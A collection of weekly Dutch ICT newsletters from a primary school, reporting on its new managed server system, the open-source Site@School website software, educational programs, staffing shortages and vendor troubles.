In de laatste week van de zomervakantie is ons nieuwe serversysteem geïnstalleerd.
Dat houdt in, dat we nu zijn aangesloten bij een organisatie die ons netwerk beheert, ook op afstand. (lees meer hieronder bij “Server op School”). De installatie verliep erg soepel. De aanpassingen in de school zijn nog niet helemaal op orde, waardoor af en toe mensen hun documenten nog niet kunnen vinden. Want tegelijkertijd met de nieuwe server hebben we ook wat gereorganiseerd met de computers. Alle computers die de leerlingen gebruiken zijn identiek, op de computers met het programma Veilig Leren Lezen na.
Wat nog wel een klus is, is het overzetten van de mappen van de leerlingen naar de nieuwe server. Meteen wordt namelijk een hoop troep van de leerlingen opgeruimd.
We zijn heel erg benieuwd hoe het ons zal bevallen en of Dirk nog veel te doen zal hebben bij ons.
Helaas hebben we moeten snoeien in de ICT tijd van de ICT coördinator. Afgesproken is, dat de nadruk dit jaar zal liggen op het consolideren van de ICT leerlijn. Voor technische problemen en ondersteuning in groepen, zal minder tijd zijn. Alle klachten en storingen graag melden in het “computerschrift”.
Over twee weken zal de eerste naschoolse ICT-activiteit starten. We zijn erg benieuwd.
De bedoeling was, dat we na de zomervakantie onze website zouden aanpassen aan het nieuwe schoollogo. Dat is nog niet gedaan. Het is meer werk dan gedacht. Dus nog even geduld. Wel heeft onze directeur nu ook de smaak te pakken: hij brengt nu ook veranderingen aan aan de inhoud van de website.
In de vakantie hebben Peter en Dirk keihard gewerkt. SoS draait nu op 4
scholen. Nog niet vlekkeloos, door wat aanloopproblemen (nieuwe
ervaringen), maar we komen er uit.
Het werken met 'Janitor', het beheerprogramma van SoS is een waar
genoegen. Ook de migratie van leerlingen uit ESIS naar SoS is een eitje.
Dat scheelt heel veel werk in het aanmaken van leerlingen.
Migratie van oude data kostte meer tijd dan gedacht en ook onverwachte
verschillen in 'identieke' computers zorgden voor tijdverlies.
Vlak na de migratie van Dirklan naar ServerOpSchool kregen we van chello het bericht dat we een nieuw IP adres zouden krijgen. Daarmee verviel ons bekende adres http://node11ef5.a2000.nl. De migratie van het oude naar het nieuwe adres was een eitje met ServerOpSchool. Daarna hadden we nogal wat werk om alle node11ef5 links uit de website en Forum databases te halen. Toen ook dat achter de rug was, bleken er in vergeten hoekjes nog een paar foute linkjes te liggen. We hopen dat we ze allemaal te pakken hebben.
Fred werkt hard aan versie 2.2 die eind oktober uitkomt. Steeds meer
bedrijven gaan S@S aanbieden. Dat levert ze leuk geld op.
We ontvingen van een onbekende gever een donatie t.b.v. S@S. Het geld zal
goed besteed worden.
De problemen met de agenda (sessies die verlopen) zijn opgelost en de agenda
heeft nu ook een printbaar weekoverzicht van alle afspraken. Veel leden
van het team werken nu met de agenda.
groeten en goed weekend,
Karin
Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Als ik deze nieuwsbrief ontvang in de web mail van de Rosa Boekdrukker dan is nergen een blanco regel te zien.Nu verstuur ik hem aan de testers (jullie) en wacht af hoe hij in jullie enail eruit ziet. Hoop dat het te lezen is.groeten, Karin
We willen de website wat veranderen, het nieuwe logo moet erin.
We hebben een testversie, met de kleuren van het logo. Wat vinden jullie ervan? Kan het zo? Graag suggesties en opmerkingen, misschien wat betreft de kleuren. (per mail naar: info@rosaboekdrukker.net). Wel rekening houden met slechtzienden: de letters moeten zwart blijven en de achtergrond waarop de letters staan moeten licht van kleur zijn.
Zie de testsite: http://wyxs.net/index.php?section=1
Deze week werd een hele middag van alles doorgesproken over het nieuwe netwerk:
Het ziet er allemaal heel simpel uit. En niet erg afwijkend van wat we gewend zijn. Van thuis uit inloggen en de mappen opruimen is heel bijzonder. Wat ook nieuw was, is de “virtual cd”. De cd-rom van Anne Frank draait nu in het netwerk alsof de cd in de cd rom speler zit.
De komende week zullen de groepen hun nieuwe e-mailadres krijgen met het bijbehorende wachtwoord.
Er zijn afspraken gemaakt met Monique van het ABC. Zij begeleidt ons met onze ICT leerlijn. We gaan weer om de tafel zitten om te bekijken wat we voor dit jaar hebben afgesproken. Er moeten data vastgesteld worden voor klassenconsulten en nascholingen en teambijeenkomsten. De groepen moeten hun ICT opdrachten ontvangen.
Wij doen mee aan een pilot voor verkeersonderwijs. Het ABC heeft een computerprogramma ontwikkeld in opdracht van de Gemeente Amsterdam waarin de leerlingen de geleerde verkeersregels kunnen toepassen in een situatie hier in de buurt. Het programma heet Tussen School en Thuis en bestaat uit allemaal foto’s met opdrachten en vragen in de buurt van onze eigen school. We hebben nu ook een verkeersmethode in boekvorm.
Er moet een bijeenkomst gepland worden om het programma uit te leggen.
In het programma Educat B zijn de kleuterboeken op een andere computer ingevoerd dan de rest van de boeken. Volgende week gaan die twee bestanden samengevoegd worden in de netwerkversie van het programma. Spannend of het allemaal gaat lukken.
Onze IB-ers hebben een nieuwe werkplek. Deze week zijn ze voorzien van elk een eigen computer. Nu moeten we alleen nog van die LCD beeldschermen voor hen kopen, zodat ze nog werkruimte overhouden.
Dat was het weer.
Een prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
We hebben nog geen commentaar ontvangen op onze testsite voor een nieuwe website <http://wyxs.net/index.php?section=1>http://wyxs.net/index.php?section=1>
Er zijn nog dingen niet klaar met ons nieuwe netwerk. Dat ligt aan ondergetekenden en tijdgebrek.
- de oude documenten van de kinderen moeten nog worden overgezet naar de nieuwe mappen
- de bureaubladen van de verschillende groepen moeten nog worden aangepast met de juiste snelkoppelingen
- nog niet alle computers zijn voorzien van een nieuw image, waardoor met name de kleutergroepen het netwerk nog niet op kunnen
- bij de directie moeten de computers nog in towers worden ingebouwd
- er is een nieuwe netwerkversie van LETTERPRET binnen!!!
- de verschillende groepen moeten nog een emailadres krijgen. Dat is er deze week niet van gekomen.
Binnenkort gaat de aanvraag voor de gratis internetverbinding met de KPN de deur uit. Voor de vakantie wilden we het al doen, maar waren bang, dat de boel dan precies in de vakantie zou worden aangesloten. Ook onze UPC provider komt binnenkort met een aanbod voor scholen. Wat zullen we snel en bereikbaar zijn dan.
Sinds het nieuwe schooljaar zijn er organisatorische veranderingen op ICT gebied op de Rosa Boekdrukker.
Karin heeft nog maar 1 dag per week voor ICT activiteiten i.p.v. 2.
De gevolgen merken we dagelijks. Klussen worden niet afgewerkt door tijdgebrek. Karin heeft geen tijd meer om Dirk aan te sturen. Leerkrachten kunnen niet goed meer met hun problemen bij Karin terecht. De naschoolse ICT activiteiten dreigen ongesuperviseerd te worden uitgevoerd. Er is geen tijd meer voor experimenten m.b.t. de ICT leerlijn.
Bovenstaande voorbeelden laten zien dat onze ICT-ervaringen niet meer geregistreerd en gesystematiseerd worden; kortom, ze gaan verloren. We voelen dat we onze greep op ICT gebied in school kwijtraken en overgeleverd worden aan toevalligheden. Dat is zonde, want daarmee dreigt ook onze positie als innoverende club voor _alle_ basisscholen in gevaar te komen. Vele basisscholen in Nederland putten uit onze ervaringen.
Laten we hopen dat de zaak ten goede kan keren.
groeten en een prettig weekend
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week hebben we data vastgesteld voor een aantal bijeenkomsten. De hoogste drie klassen zullen nog deze maand een startbijeenkomst hebben waarop wordt uitgelegd wat de bedoeling van het programma Digiwijzer precies is. Vorig schooljaar hebben we er mee geëxperimenteerd, maar dit jaar wordt het serieus. Met dit programma leren de leerlingen gericht zoeken op het internet, waardoor ze informatie beter kunnen vinden.
Ook is er een datum vastgesteld waarop de groepen 3 t/m 8 instructies krijgen over het gebruik van het verkeersprogramma “Tussen School en Thuis”
Afgelopen maandag vond de eerste van vier cursussen ICT na schooltijd plaats. Er deden 8 leerlingen aan mee uit groep 5. Ze moesten aan de gang met de opmaak van tekst. Door een technische storing aan ons netwerk (zie onder) konden de leerlingen niks printen. a.s. maandag zal hun product wel in kleur kunnen worden afgedrukt.
Karin had nog moeite met het inrichten van de bureaubladen van de verschillende groepen. Niet omdat het zo moeilijk was, maar omdat ze de te nemen stappen niet goed had opgeschreven. Bij de groepen 3, 4, 5 en 6 zijn de bureaubladen nu bijna in orde. Alleen moet het programma Educat er nog bij.
Met dit programma zijn de bibliotheekboeken ingevoerd in ons netwerk. De kleuterboeken en de andere boeken zijn nu bij elkaar gevoegd. Dat kan, omdat we nu een netwerkversie van het programma hebben. Op elke computer kan het programma nu gebruikt worden. In de toekomst zullen de kinderen dan in de klas kunnen zien welke boeken er beschikbaar zijn. Ook zal het uitlenen dan via de computer gaan. Nu is het steeds een hopeloze warboel van kaartjes.
Bij de meeste programma's zijn de leerlingen nu ingevoerd of verplaatst naar een hogere groep. Bijvoorbeeld bij het programma Tafeltotaal van Ambrasoft zijn de leerlingen van groep 4 nu overgeheveld naar groep 5. En de leerlingen van groep 6 zijn verwijderd, want daar kennen ze de tafels.
Deze week werden er twee nieuwe telefoonlijnen aangelegd. Daarvoor moest het installatiebureau ons netwerk gebruiken. Opeens waren alle computers van één switch niet meer aangesloten. Vreemd! Het installatiebureau wist natuurlijk van niets.... Het was vooral vervelend, omdat het precies de administratie computers waren die het netwerk niet op konden en die het leerlingvolgsysteem niet meer konden aanpassen en de computers waar de naschoolse ict-cursus op plaats vond.
NL tree is weer bezig met een administratieve chaos. We ontvingen een brief waarin ons werd gevraagd op tijd ons contract met hen op te zeggen. Wij hadden dat reeds op 9 september 2003 per aangetekende brief gedaan. Ook kwamen ze van de week het modem en de router ophalen. (toen dat niet lukte zeiden ze: “ach, hou het ook maar”) Vreemde volgordes hanteren ze daar.
Vorige week schreven we in onze nieuwsbrief, dat we tijd te kort kwamen voor onze ICT werkzaamheden. Die noodkreet werd door ons bestuur opgevangen en er werd ook gehoor aan gegeven. Deze week werden wij (de openbare scholen in ons stadsdeel) uitgenodigd voor een bijeenkomst met alle ICT coördinatoren. Eén van de agenda punten was het inventariseren van de formatie-uren voor ICT. Alle scholen klaagden, dat ze niet genoeg tijd hebben om beleid te maken of uit te voeren wat de leerlijnen betreft. Dit probleem zal worden voorgelegd aan het hoofd afdeling onderwijs van ons stadsdeel.
Ook van andere kanten kregen we bijval.
Een nieuwe versie van Letterpret is geïnstalleerd en zoals gewoonlijk kwam de tekst in de handleiding niet overeen met de tekst die tijdens de installatie verscheen. Maar, met wat heen en weer gepruts werkte het programma. Echter wel weer tot onze verbazing kon leerling X op twee computers tegelijk inloggen. Dat hoort natuurlijk niet te mogen! Het blijft brakke software. Tijdens de installatie zijn de ingevoerde gegevens bewaard gebleven. Maandag volgt de echte test. Volgende week de uitslag.
groeten en een goed weekend,
Dirk en Karin
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Het mag wel zo ongeveer in de krant. Na een worsteling van twee jaar is het geheel eindelijk aan de praat gekregen. We ontvingen na de zomervakantie een nieuwe versie zonder beveiligingssleutel. Vorige week waren er nog problemen: er kon op twee computers onder dezelfde naam worden ingelogd. Dat is door onze man van sOs (server Op school) opgelost. Alle kinderen hebben een nieuw ikoontje en alles werkt (tot nu toe) naar wens. Eigenlijk niet te geloven. We zullen nog een bericht naar Malmberg sturen, dat we niet van plan zijn te betalen.
Jammer genoeg zoeken wij een nieuwe docent voor dit onderdeel. Voorlopig neemt Karin de taak over.
Er blijft bijval uit het land komen. Op veel scholen kampt men met gebrek aan tijd voor de onderwijsinhoudelijke kant van ICT binnen de school. Gelukkig heeft ons schoolbestuur een gewillig luisterend oor
Ook in de nieuwsgroep Onderwijs Nieuwe-Media wordt nu een levendige discussie gevoerd over de tijd en de bezigheden van de ICT coördinator.
Van onze schoolbegeleidingsdienst kwam een oproep om ons in te schrijven voor een aantal workshops voor het inoefenen en/of opfrissen van computervaardigheden voor leerkrachten. De afgelopen jaren hebben we herhaaldelijk aan ons team de mogelijkheid geboden om hun kennis op te frissen, zelfs met een (vrijwillige) cursus op school. Het middel dat het beste werkt is: thuis een computer neerzetten. In ons team heeft iedereen thuis een computer en heeft ook iedereen een emailadres. Volgens ons is dat de beste manier om handigheid in het gebruik te krijgen.
Wij zien niet het nut ervan in om een digitaal rijbewijs te halen. Daarin worden erg veel toepassingen gevraagd die voor de dagelijkse gang van zaken binnen een school niet nodig zijn.
In één van de aangeboden workshops leert met hoe je kinderen gemakkelijk een eigen website kan laten maken. Bij ons op school zit dat gekoppeld aan S@S. Al heel veel kinderen hebben een eigen pagina, of meerdere pagina’s.
www.digijuf.nl
Bij ons op school zijn de kleuters bezig met het thema “emoties”. Veel leuke ideeën zijn te vinden op bovengenoemde website.
Af te halen een Deskjet 610 C. Prijs: een hartige taart.
Een prettig weekend toegewenst door:
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week werden een van de directeuren van onze school en Karin geïnterviewd door het COS-magazine (computers op school). In oktober komt er een special uit over ELO’s (elektronische leeromgevingen) Wij hebben daar het één en ander over verteld: hoe S@S daar geschikt voor is en tot op welke hoogte wij een ELO in onze school inzetbaar zien.
Voor de groepen 6, 7 en 8 was er deze week een bijeenkomst met de schoolbegeleidingsdienst (ABC). In de komende periode zal door de groepen het programma DIGIWIJZER gebruikt worden als aanvulling op het taalonderwijs en ter ondersteuning van het gebruik van het internet. In dit programma wordt systematisch aangeleerd hoe je moet zoeken op het internet. De verschillende groepen hebben daar opdrachten voor. De meeste kinderen hebben er vorig jaar al mee gewerkt. Met de ervaring die toen is opgedaan zal nu gestructureerder met het programma worden omgegaan. o.a. is de aandacht gevestigd op het nabespreken van de lessen. Het gaat er niet om dat de kinderen het juiste antwoord geven, maar om het proces om tot een antwoord te komen.
Het is fantastisch hoe je gemakkelijk je de bureaubladen van de verschillende groepen op maat kunt indelen. Heel handig kun je de ikonen verslepen naar het bureaublad van een groep. Daardoor kan een groep die keurig inlogt met de eigen inlognaam een aangepast bureaublad krijgen van hetzelfde image. Alle groepen hebben namelijk een identieke harde schijf. Alleen zijn niet alle programma’s overal zichtbaar. Het is zelfs mogelijk om op afstand (buiten de school) een bureaublad in te delen.
Deze week is de aanvraag voor de gratis verbinding met internet de deur uitgegaan. Via internet vul je een aanvraagformulier in, dat dan geprint wordt en per fax of TPG moet worden verstuurd.
We hebben geen enkele reactie gekregen op onze aangeboden kleurenprinter. Waar zou dat aan liggen?
Het is al een paar weken stil rond S@S in de BIC. Dat wil niet zeggen dat er niets gebeurt. We hebben alleen geen tijd om het te melden.
Fred legt de laatste hand aan versie 2.2 die eind oktober volgens plan uit moet komen. Er zijn nog kleine veranderingetjes mogelijk, en als daarom gevraagd wordt, doen we die nog in deze versie.
De 14e taal die erbij is gekomen is Deens en Maleisisch komt er aan.
S@S V2.2 krijgt nieuwe ikonen. Barry is bezig met de laatste loodjes.
Er komt een nieuwsbrieven module in die, al zeggen we het zelf, een juweeltje is.
Verder vele grote en kleine verbeteringen. Het manual moet ook aangepast worden aan de nieuwe versie en daar is Dirk mee belast. Ondertussen zijn we al bezig met een nieuwe versie. Daarin zal een chat module zitten waar we nu mee aan het experimenteren zijn. Als je mee wilt doen, meld je dan aan.
We hebben een kleine subsidie gekregen waar we een paar vervelende klussen voor laten doen. (het schrijven van het developers manual en het gebruikersbestendiger maken van de programmeercode)
Ook weinig van gehoord, maar ook daar wordt niet stil gezeten. Peter en Dirk hebben de laatste klusjes op de drie scholen gedaan. Alles loopt nu goed. We hebben subsidie ontvangen voor twee projecten: het schrijven van documentatie en het maken van een programma om images over het netwerk via PXE naar client computers te halen. Daarnaast hebben we een ontwikkelopdrachtje om het GPL virusprogramma Clamav ( http://www.clamav.net , kijk daar eens welke bedrijven het allemaal gebruiken) dat nu de email scanner van SoS is, zo te installeren dat het virussen scant en opruimt op de windows clients. We hoeven hier niet te zeggen dat Norton ons 4 Euro per computer per jaar kost. Tel uit je winst!
groeten en een prettig weekend.
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Vorige week vond op onze school de prijsuitreiking plaats van de programmeerwedstrijd die was uitgeschreven door het Linux Magazine (http://www.linuxmag.nl/nl/4137085f61440#a4137085fa0a7a )
Onze school heeft wat geld van het ICT budget gehaald om bij te dragen aan de prijzenpot van de wedstrijd.
Sites van de winnaars:
http://www.vliegersenverzamelaars.net/
http://edu.kde.org/kturtle/
foto’s prijsuitreiking: http://www.rosaboekdrukker.net/index.php?page=615&navpath=,472,473,1611&contents=1612,1629,3445§ion=15&ID=3445&gallerypage=1
Omdat wij van mening zijn, dat software voor het onderwijs opensource moet zijn en door de gebruikers gemakkelijk moet kunnen worden aangepast aan hun wensen, waren wij graag bereid ons steentje bij te dragen aan de wedstrijd die jaarlijks wordt uitgeschreven door het Linux Magazine.
Kanttekening: het blijkt in de praktijk nog een behoorlijke hobbel om programmeerders en gebruikers bij elkaar te brengen. Voor het maken van educatieve software is natuurlijk een onderwijskundige aanpak en inzicht nodig.
Oproep: het zou leuk zijn als alle scholen ook een kleinigheid bijdragen: dan wordt het een grote prijs!
We werden deze week gebeld door een school in Amstelveen die via via goede informatie had ontvangen over Site@School. Ze wilden o.a. weten of het te gebruiken is als een ELO, of er een deel van de site afgeschermd kan worden voor het grote publiek. Dat kan!!
Leuk zulke telefoontjes. Het maakt ons nog trotser op ons product.
Trouwens, S@S zal worden vertaald in het grieks, in het antieke alphabeth.
Al sinds dag 1 van het SoS project piekeren Peter en Dirk zich suf hoe ze dit project kunnen vrijgeven ‘aan de wereld’. Een goed project moet je zodanig openbaar maken, dat uiteindelijk alle basisscholen in de wereld het gratis kunnen krijgen.
Het grote risico dat aan die benadering kleeft is dat, als je het project nu op internet zet om gratis te downloaden, er geen geld is voor toekomstige verbeteringen. (upgrades), als de gebruikers dat zouden wensen.
Onderlaatst, aan de keukentafel in Bussum, hadden we het er weer over en legden het probleem aan een meedenkster voor. Resultaat: na het weekend kwam er een idee voor een financiële continuïteit van het project dat alle andere ideeën naar de prullenbak verwijst!
Voorlopige conclusie: als het idee klopt, krijg je als school geld terug bij meerdere deelnemers.
Wordt vervolgd.
groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Misschien hebben oplettende lezertjes gemerkt, dat we met jaargang 4 zijn begonnen. Dat betekent, dat we drie volle jaren elke schoolweek op vrijdagmiddag deze nieuwsbrief hebben doen uitgaan. Alvast dank voor de felicitaties.
We werden deze week gebeld door een bedrijf dat aan RSI preventie doet. Voor de volwassenen binnen ons bedrijf worden polssteunen aangeboden ter voorkoming van RSI. Aan de vrouw werd uitgelegd, dat wij doen aan RSI preventie voor kinderen en op zoek zijn naar een juiste stoel. We werden verwezen naar de website, waar prachtige plaatjes staan van volwassenen die zachter een computer zitten. Ja, ze hebben ook speciale voetensteunen. Maar als je de plaatjes bekijkt kan een kind daar nog niet bij. Wat zullen we vertellen, als ze na de herfstvakantie weer eens belt? www.ergonomique.nl
Deze week weer lekker met ICT geld gesmeten. Uitgegeven:
- een doos met 30 optische muizen. Bij ons op school willen we geen muizen meer met balletje. Die vervuilen te snel en dat moet je weer schoonmaken, etc
- twee platte LCD monitoren voor de IB ruimte. Het zijn zeer chique schermpjes, bijna zonder rand.
- twee directie-computers in TOWER kasten laten inbouwen, omdat ze dan mooi onder de mooie nieuwe bureaus passen.
Omdat wij een goede klant zijn bij de Pcdokter krijgen we bijna al onze aankopen tegen een gereduceerd tarief. (www.pcdokter.nl)
Nadat we op 27 september onze aanvraag voor het 3-jarig gratis internet gebruik via de KPN hadden aangevraagd, was er niets meer vernomen. Daarom deze week in de telefoon: een 0900 nummer voor 10 cent per minuut. Eerst word je dan via allerlei doorkies intoetsnummers verder geholpen (tikt lekker aan). Na de vraag of de aanmelding was aangekomen, hoorden we, dat ze nooit een bevestiging sturen: scholen horen niets terug. Maar wat is uw BRIN nummer? En één dag later hadden we de spullen voor de installatie binnen. Toeval?
Na de herfstvakantie gaan we ons bezig houden met de installatie.
Denk na het lezen van het bovenstaande niet dat we van ons kabel abonnement af willen. We willen ALLEBEI! Dan hebben we een redundante internet verbinding. Dan kunnen we aan load-balancing gaan doen. Dan kunnen we....
Wat kunnen we allemaal met twee Internet aansluitingen?
Inderdaad, na de 1 oktober teldatum hebben we een ESIS upgrade voor Linux proberen te doen. Kort samengevat: Dat viel vies tegen. Redenen:
- De Linux patches waren van 8 dagen NA de teldatum.
- De documentatie om met Linux te upgraden ontbrak.
- De door de helpdesk voorgestelde wijze van upgraden faalde jammerlijk.
We hebben de upgrade afgebroken en de volledige backup van ESIS teruggezet. Totaal aantal uren voor een mislukte upgrade: 3 uur prutsen.
We beraden ons op actie naar Rovict. Jullie horen er meer van.
Helaas was de Rovict sores nog niet afgelopen. De volgende dag moesten wij de diskette van het Amsterdams Monitorbedrijf doen. De door Rovict verstrekte gebruiksaanwijzing klopte niet waardoor Agnes en Ashvin vast kwamen te zitten. Dirk baalde als een stekker, belde de helpdesk, kreeg het goede antwoord. Er ontbrak een regel in het manual. Hoeveel scholen zouden op dit punt hebben vastgezeten?
In het licht van het bovenstaande. Klagen helpt. Na 1,5 jaar gedonder en druk op Malmberg hebben we nu een werkende netwerk versie.
Klagen helpt.
De nieuwe iconen zijn klaar! Dankzij onze grafisch ontwerper Barry ziet de nieuwe versie er schitterend uit. Hulde Barry!!
Speciaal voor de lezers van de BIC: hier is de URL voor een sneak preview:
http://wyxs.net/newicons/starnet/index.php
Login met gebruikersnaam: gast
Je wachtwoord is: gast123
Op 31 oktober zal versie 2.2 beschikbaar zijn met de nieuwe iconen. Zeer bedankt Barry!
We krijgen steeds meer talen binnen. Om jullie geheugen op te frissen zetten we ze maar weer eens achter elkaar, met hulde aan de vertalers.
Engels (doen we zelf), Spaans (Stephen James),Braziliaans-Portugees (DenerBrito), Noors (Henry Jovik), Nederlands (doen wij ook), Zweeds (Daniel Dalethsson ), Duits (Jürgen Goldmann), Chinees (Jinhe Pei), Japans (Ikuko Suzuki), Turks (Ylker Turen), Frans, (Jean Peyratout), Pools (Chris Lojowski), Fins (Timo Tervo), Deens (Ole Bang Ottosen).
We hebben berichten dat de Italiaanse en Maleisische vertaling onderweg zijn.
We zijn buitengemeen trots dat S@S zo’n vlucht neemt.
Peter werkt hard aan het image restore systeem. Dirk zag het van de week, was zeer onder de indruk en wel om twee redenen:
1. Het systeem is buitengewoon simpel. Een leerkracht kan in een klas zonder het intikken van wat voor ingewikkelde command's, IP adres, imagenaam. etc. op zeer eenvoude wijze een image van een computer terugzetten.
2. Het systeem is buitengewoon ingewikkeld. De gevoerderde gebruiker kan andere images terugzetten, kan images uploaden, kan bepalen wat het standaard image is voor een werkstation.
We hebben een stagiair: Wilmer.
Hij komt de komende 5 maanden zijn stage bij Peter doorbrengen Wilmer
is Debian developer en een zeer bedreven programmeur. We hopen dat we
hem nog wat kunnen leren. We houden jullie op de hoogte.
Tot zover,
Groeten en goed weekend,
Karin, Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week kwam het COS Magazine uit. Daarin staat een verslag van een bezoek
aan onze school. Het nummer gaat over elektronische leeromgevingen (ELO’s).
Omdat Site@School daar geschikt voor is werden Agnes en Karin geïnterviewd.
Helaas heeft de redacteur -wegens ziekte en daardoor tijdgebrek- onze
rectificaties niet meegenomen in de publicatie, waardoor er onjuistheden in het
stuk staan. Het ergste is wel , dat de indruk wordt gewekt, dat S@S alleen voor Linux is. We hebben op de schoolsite een
rectificatie gezet. (www.rosaboekdrukker.net)
http://www.computersopschool.nl/
Alle groepen hebben nu een emailadres via de webmail.
Volgende week zal uitgelegd worden -in een vergadering-hoe het allemaal werkt.
Geen (f)outlook meer!!!
We hebben deze week wat geëxperimenteerd met de kleuren op onze website.
We gebruikten daarvoor een heel handig
programmaatje waarmee de kleuren kunnen worden aangepast. zie:
http://www.grafxfreeware.homestead.com/colorselector.html
en http://www.tucows.com/preview/304878.html
Graag horen wij commentaar op de kleuren.
Onze school wordt vaak genoemd
http://www.fransonline.nl/modules.php?name=News&file=article&sid=3741
Op deze website staat een interview met iemand die S@S
heeft gebruikt voor een schoolsite en er lovend over spreekt.
Ook kregen we een tip, dat in een publicatie van het Ministerie van Onderwijs
onze school wordt genoemd. http://www.minocw.nl/brief2k/2004/doc/45746.pdf
Probeer ook eens “Rosa Boekdrukker” in te tikken in Google. Dan zie je, dat de
linken met het oude IP adres niet werken, maar er zijn alweer genoeg nieuwe
linken die het wel doen. Dus in een maand tijd is onze roem flink gestegen!
Voor Site@School is het aftellen begonnen! A.s. zondag komt versie 2.2. uit. Het is de mooiste die we hadden en we zijn er zeer trots op Hulde aan alle medewerkers. Uit het forum horen we dat velen er al naar uitkijken. Ondertussen zijn we al weer bezig aan de volgende versie. We testen een chat, en we willen de directory structuur aanpassen. Verder zit in de nieuwe versie het Italiaans. Daarmee komt het aantal talen op 15.
ServerOpSchool is in de herfstvakantie geïnstalleerd op de Joop
Westerweelschool. Dat liep prima en tot onze stomme verbazing installeerden
verschillende educatieve programma’s zich dit keer zonder de minste problemen.
Het lijkt erop dat de modernere versies van Wereld in Getallen, Maatwerk Blauw
en Oranje, Zwijsen Software Manager, vrijwel probleemloos gingen.
Op de JW hebben ze 70 windows werkstations. Met ons nieuwe backup tool was het
neerzetten van images een klusje dat zelfs een kleuter had kunnen uitvoeren.
Met het backup tool kunnen ook virusscans gedaan worden. Het werkt als een
zonnetje. Het grote voordeel is dat de virusscanner gratis is. Dat spaart dus
heel wat euro’s, ieder jaar weer.
Voor de ICT’er was het een eye opener om te zien hoe eenvoudig bestanden delen
werkt en hoe makkelijk je groepen programma’s op het bureaublad geeft.
groeten en een prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Lessugesties nodig? Kijk eens hier: http://www.kennisnet.nl/special/sinterklaas/
Deze week hebben we alle bureaubladen van de groepen aangepast. De bedoeling is, dat elke keer bij het inloggen de vaste gegevens terugkomen en dat alle veranderingen aan het bureaublad ongedaan gemaakt worden. Einde van dubbele pictogrammen en fantasierijke achtergronden en vreemde extra balken in de browser. Dat aanpassen kan ook heel gemakkelijk van afstand worden gedaan.
Gebleken is, dat om de afspraken over de ICT leerlijn goed vast te houden het nodig is om ICT regelmatig op de vergadering te laten terugkomen. Deze week hebben we wat nieuwigheden in het netwerk aan de orde gesteld. Ook hebben alle leerkrachten een emailadres gekregen in onze eigen webmail.
In de bovenbouw begaven deze week twee netwerk printers het. Het zijn hele zware machines die volgende week gerepareerd zullen worden. Het komt regelmatig voor, dat er hele wachtrijen documenten in staan. Leerlingen die niet direct hun printje krijgen drukken nogmaals in plaats van te kijken welke melding er op het schermpje in de printer staat.
Deze week kwam versie 2.2 van S@S uit. Veel positieve reacties. En dankzij onze intensieve Forum community ( http://rosaboekdrukker.net/phpBB2/ ) Van testers en gebruikers kwamen de eerste bugjes al binnen. Hartelijk dank jullie allen!
De nieuwe versie was nog niet uit of we hadden weer een paar prima extra features: leerkrachten pagina’s en in de kalender kun je nu periodes invoeren. Dan hoef je niet 7 keer ‘Herfstvakantie’ te tikken.
Weinig te melden, alhoewel we hard werken. Deze week de OBS Corantijn afgerond.
De Sterrenwachters zijn ook klaar. Nu de Joop Westerweel nog en de OBSRB. Maar
ja, bij die laatste denken we: “Bij de loodgieter lekt het...”
We merken uit een paar hoeken belangstelling voor SoS.
We zijn bezig met de gebruiksaanwijzingen.
groeten en een prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
drukke week!!!!
Er is dit schooljaar een zesde kleutergroep gevormd. Er klopte niets meer van de ingevoerde leerlingen. Deze week is alles opnieuw ingevoerd en elke groep heeft weer een blad met de namen en iconen die de kinderen nodig hebben om in te loggen. De behoefte is groot, dat ook kleuters op hun eigen naam kunnen inloggen. Niet voor elk programma een ander icoon, maar gewoon hun eigen naam; kleuters kunnen hun eigen naam echt wel herkennen! We zullen het eens voorstellen bij de uitgeverijen.
We zitten er aan te denken om onze ICT leerlijn publiek te maken, open te stellen voor aanvullingen van buiten, zodat het een voor veel scholen bruikbaar geheel wordt. Maar... er zitten oefeningen in Word in. Dat willen wij natuurlijk eigenlijk niet, als voorstanders van Opensource producten. (zie ook: http://www.ossinhetonderwijs.nl/) We zijn nu aan het bedenken hoe we de beschreven oefeningen kunnen (laten) vertalen naar OpenOffice en een ander tekenprogramma. We verkeren nog in een brainstorm stadium. U hoort nog meer. En we staan natuurlijk open voor suggesties.
Er is weer een aardrijkskunde nieuwsbrief uit. http://rosaboekdrukker.net/index.php?section=10&page=707 Met links over de V.S. en Zuid Holland.
We hebben licenties voor het gebruik van Windows en Word op onze computers. Helaas hebben we die nog een jaar nodig. Voor 1 december moet alles netjes opgegeven zijn. Dat gebeurt tegenwoordig allemaal via het internet.
Wij hebben al jaren een abonnement op het PRAXIS bulletin. Ze hebben een website waar je allerlei artikelen uit het verleden kunt terugvinden. Maar je moet wel inloggen. Een jaar geleden ontvingen we een brief met een speciale inlognaam en wachtwoord. Maar dat werkt niet meer. Het bleek dat te veel scholen dat kwijt raakten. Dus de oude manier is weer geldig: in het papieren tijdschrift staat het wachtwoord van de maand. www.praxisbulletin.nl Wachtwoord van november is Berlijn. Van december is.......ja....Madrid!!
Als je een POP UP KILLER hebt, dan moet je allerlei maatregelen nemen om in te loggen. Eén van ondergetekenden heeft de grootste ruzie met de site; door de popupkiller verschijnt het inlogschermpje niet. Waarom kan het niet GEWOON?? Jammer.
De never-ending-story is nog niet klaar!!! We ontvingen deze week een aanmaning
om het gebruik van Letterpret over 2003 te betalen. Die herinnering ontvingen
we in maart j.l. ook. Het antwoord op die aanmaning hebben we maar even
aangehaald in ons antwoord van deze week.
Betalen voor Letterpret? We hebben hen een rekening gestuurd: zij moeten ons
betalen voor alle moeite die we hebben gedaan om het programma te laten werken.
Ze mogen ons dankbaar zijn voor al het werk en alle foutmeldingen die we aan
hen bericht hebben, anders werkte het nog steeds niet in een netwerk!!!
Deze week werd een aantal docenten gek van vervelende meldingen met Word 2000.
